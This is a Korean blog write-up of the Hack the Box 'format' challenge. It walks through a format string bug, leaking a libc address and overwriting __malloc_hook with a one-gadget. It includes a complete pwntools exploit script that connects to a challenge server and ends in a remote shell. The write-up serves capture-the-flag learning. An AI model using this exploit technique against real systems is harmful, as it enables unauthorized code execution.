본문 바로가기

그냥 공부

Hack the Box - format

hackthebox format 문제는 새로운 방법을 알 수 있어서 좋았던 문제였다

 

보호기법 확인
main 함수

 

init()함수는 별거 없었고 진짜는 echo 함수에 있었다

 

echo 함수

 

파일을 실행했을 때를 보면 입력을 받고 출력을 해준다

 

그렇다면 echo함수에 while문에 들어있는것은 아이다에 funtion name을 보면

 

fgets랑 printf가 있어 어떤 함수 인지 알 수 있다

 

 

echo 함수 11번 줄을 보면 fsb가 일어나고 어느부분에 oneshot 가젯을 덮으면 풀릴거 같은 기분이 들었다

 

오프셋 구하기

6번째에 AAAAAAAA이 나타나는 모습을 볼 수 있다

 

libc_base를 구하기 위해 __libc_start_main을 찾았다

 

이 함수에서 main을 호출하고 main이 종료하면 다시 위의 함수로 돌아간다.

 

__libc_start_main -> main -> __libc_start_main로 가는데 여기서는 무한루프로 돌고 있어서 찾아야한다

 

 

여러 주소를 혹인하는 도중에 찾았다

 

__libc_start_main을 leak하기 위한 오프셋을 찾아보자

 

(__libc_start_mian이 들어있는 주소 - 입력 값이 들어있는 주소) / 8+6을 해주면

 

leak을 할 수 있는 오프셋을 구할 수 있다

from pwn import *

r = remote('159.65.27.8', 32264)

offset = 6

r.sendline("%45$p")
libc_start = int(r.recv(14),16)-231
log.info('libc_start : {}'.format(hex(libc_start)))

3바이트 ab0을 libc database search에서 찾아보면

 

libc도 찾았겠다 아까 말한 oneshot 가젯을 어느 부분에 덮어야 하는데

마땅히 덮을게 없어서 구글신에게 물어봤다

 

물어보니 __malloc_hook을 oneshot 가젯으로 덮고

 

printf로 큰 문자열을 출려하면 malloc과 free를 호출한다고 한다

 

이제 malloc함수를 구하고 oneshot 가젯으로 덮고 

 

큰 문자열을 보내면 문제가 쉘이 따질것이다

 

아까 찾은 libc에서 2번째 libc를 이용할 것 이다 

 

1번째로 해봤는데 쉘이 안 따져서 2번째를 사용했다

context.arch = "amd64"를 추가

from pwn import *

r = remote('159.65.27.8', 32264)
context.arch = "amd64"

offset = 6

r.sendline("%45$p")
libc_start = int(r.recv(14),16)-231
log.info('libc_start : {}'.format(hex(libc_start)))

libc_base = libc_start - 0x021ab0
malloc_hook = libc_base + 0x3ebc30
onegadget = libc_base + 0x4f322

payload = fmtstr_payload(offset, {malloc_hook:onegadget})

r.sendline(payload)
r.sendline('%65536c')

r.interactive()

끄읕

'그냥 공부' 카테고리의 다른 글

Heap - Fastbin dup  (0) 2021.12.08
Hack the box - Bad grades  (0) 2021.10.07
H@cktivityCon 2021 CTF - Faucet  (0) 2021.09.22
LIT CTF 2021  (0) 2021.07.20